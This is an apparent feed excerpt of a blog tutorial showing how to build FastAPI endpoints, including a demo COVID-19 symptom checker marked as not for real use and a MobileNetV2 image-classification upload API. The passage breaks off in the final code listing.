      <category>python</category>
      <category>visualization</category>
    </item>
    <item>
      <title>Building Machine Learning API with FastAPI</title>
      <dc:creator>Aniket Maurya</dc:creator>
      <pubDate>Sat, 22 Aug 2020 05:53:58 +0000</pubDate>
      <link>https://forem.com/aniketmaurya/building-machine-learning-api-with-fastapi-2ecl</link>
      <guid>https://forem.com/aniketmaurya/building-machine-learning-api-with-fastapi-2ecl</guid>
      <description>&lt;p&gt;FastAPI is a high-performance asynchronous framework for building APIs in Python.&lt;br&gt;
It provides support for Swagger UI out of the box.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Source code for this blog is available &lt;a href="https://github.com/aniketmaurya/tensorflow-web-app-starter-pack" rel="noopener noreferrer"&gt;aniketmaurya/tensorflow-fastapi-starter-pack&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1&gt;
  
  
  Lets start with a simple hello-world example
&lt;/h1&gt;

&lt;p&gt;First, we import &lt;code&gt;FastAPI&lt;/code&gt; class and create an object &lt;code&gt;app&lt;/code&gt;. This class has useful &lt;a href="https://github.com/tiangolo/fastapi/blob/a6897963d5ff2c836313c3b69fc6062051c07a63/fastapi/applications.py#L30" rel="noopener noreferrer"&gt;parameters&lt;/a&gt; like we can pass the title and description for Swagger UI.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;fastapi&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;FastAPI&lt;/span&gt;
&lt;span class="n"&gt;app&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;FastAPI&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;title&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Hello world&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;description&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;This is a hello world example&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;version&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;0.0.1&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We define a function and decorate it with &lt;code&gt;@app.get&lt;/code&gt;. This means that our API &lt;code&gt;/index&lt;/code&gt; supports the GET method. The function defined here is &lt;strong&gt;async&lt;/strong&gt;, FastAPI automatically takes care of async and without async methods by creating a thread pool for the normal def functions and it uses an async event loop for async functions.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="nd"&gt;@app.get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;/index&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;hello_world&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;hello world&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h1&gt;
  
  
  Pydantic support
&lt;/h1&gt;

&lt;p&gt;One of my favorite features offered by FastAPI is Pydantic support. We can define Pydantic models and request-response will be handled by FastAPI for these models.&lt;br&gt;
Let's create a COVID-19 symptom checker API to understand this.&lt;/p&gt;
&lt;h2&gt;
  
  
  Covid-19 symptom checker API
&lt;/h2&gt;

&lt;p&gt;We create a request body, it is the format in which the client should send the request. It will be used by Swagger UI.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;pydantic&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;BaseModel&lt;/span&gt;

&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Symptom&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;BaseModel&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;fever&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;bool&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;False&lt;/span&gt;
    &lt;span class="n"&gt;dry_cough&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;bool&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;False&lt;/span&gt;
    &lt;span class="n"&gt;tiredness&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;bool&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;False&lt;/span&gt;
    &lt;span class="n"&gt;breathing_problem&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;bool&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;False&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let's create a function to assign a risk level based on the inputs.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;This is just for learning and should not be used in real life, better consult a doctor.&lt;br&gt;
&lt;/p&gt;
&lt;/blockquote&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get_risk_level&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;symptom&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Symptom&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;symptom&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;fever&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;symptom&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;dry_cough&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;symptom&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;tiredness&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;symptom&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;breathing_problem&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Low risk level. THIS IS A DEMO APP&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;symptom&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;breathing_problem&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;symptom&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;dry_cough&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;symptom&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;fever&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;moderate risk level. THIS IS A DEMO APP&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;symptom&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;breathing_problem&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;High-risk level. THIS IS A DEMO APP&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;THIS IS A DEMO APP&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let's create the API for checking the symptoms&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="nd"&gt;@app.post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;/api/covid-symptom-check&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;check_risk&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;symptom&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Symptom&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;get_risk_level&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;symptom&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h1&gt;
  
  
  Image recognition API
&lt;/h1&gt;

&lt;p&gt;We will create an API to classify images, we name it &lt;code&gt;predict/image&lt;/code&gt;.&lt;br&gt;
We will use Tensorflow for creating the image classification model.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Tutorial for &lt;a href="https://aniketmaurya.ml/blog/tensorflow/deep%20learning/2019/05/12/image-classification-with-tf2.html" rel="noopener noreferrer"&gt;Image Classification with Tensorflow&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;We create a function &lt;code&gt;load_model&lt;/code&gt;, which will return a MobileNet CNN Model with pre-trained weights i.e. it is already trained to classify 1000 unique categories of images.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;tensorflow&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;tf&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;load_model&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="n"&gt;model&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;tf&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;keras&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;applications&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;MobileNetV2&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;weights&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;imagenet&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Model loaded&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;model&lt;/span&gt;

&lt;span class="n"&gt;model&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;load_model&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We define a &lt;code&gt;predict&lt;/code&gt; function that will accept an image and returns the predictions.&lt;br&gt;
We resize the image to 224x224 and normalize the pixel values to be in &lt;strong&gt;[-1, 1]&lt;/strong&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;tensorflow.keras.applications.imagenet_utils&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;decode_predictions&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;decode_predictions&lt;/code&gt; is used to decode the class name of the predicted object. &lt;br&gt;
Here we will return the top-2 probable class.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;predict&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;image&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Image&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Image&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;

    &lt;span class="n"&gt;image&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;np&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;asarray&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;image&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;resize&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="mi"&gt;224&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;224&lt;/span&gt;&lt;span class="p"&gt;)))[...,&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="n"&gt;image&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;np&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;expand_dims&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;image&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;image&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;image&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mf"&gt;127.5&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mf"&gt;1.0&lt;/span&gt;

    &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;decode_predictions&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;model&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;predict&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;image&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

    &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;res&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;enumerate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;resp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
        &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;class&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;res&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
        &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;confidence&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;res&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;0.2&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; %&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

        &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now we will create an API &lt;code&gt;/predict/image&lt;/code&gt; which supports file upload. We will filter the file extension to support only jpg, jpeg, and png format of images.&lt;/p&gt;

&lt;p&gt;We will use Pillow to load the uploaded image.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;read_imagefile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;file&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;Image&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Image&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;image&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Image&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;BytesIO&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;file&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;image&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="nd"&gt;@app.post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/predict/image&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;predict_api&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;file&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;UploadFile&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;File&lt;/span&gt;&lt;span class="p"&gt;(...)):&lt;/span&gt;
    &lt;span class="n"&gt;extension&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;file&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;.&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;jpg&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;jpeg&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;png&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;extension&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Image must be jpg or png format!&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="n"&gt;image&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;read_imagefile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nb"&gt;file&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;read&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
    &lt;span class="n"&gt;prediction&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;predict&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;image&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;prediction&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h1&gt;
  
  
  Final code
&lt;/h1&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;uvicorn&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;fastapi&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;FastAPI&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;File&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;UploadFile&lt;/span&gt;

&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;application.components&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;predict&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;read_imagefile&lt;/span&gt;

&lt;span class="n"&gt;app&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;FastAPI&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="nd"&gt;@app.post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/predict/image&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;predict_api&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;file&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;UploadFile&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;File&lt;/span&gt;&lt;span class="p"&gt;(...)):&lt;/span&gt;
    &lt;span class="n"&gt;extension&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;file&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;.&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;jpg&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;jpeg&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;png&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;extension&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Image must be jpg or png format!&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="n"&gt;image&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;read_imagefile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nb"&gt;file&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;read&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
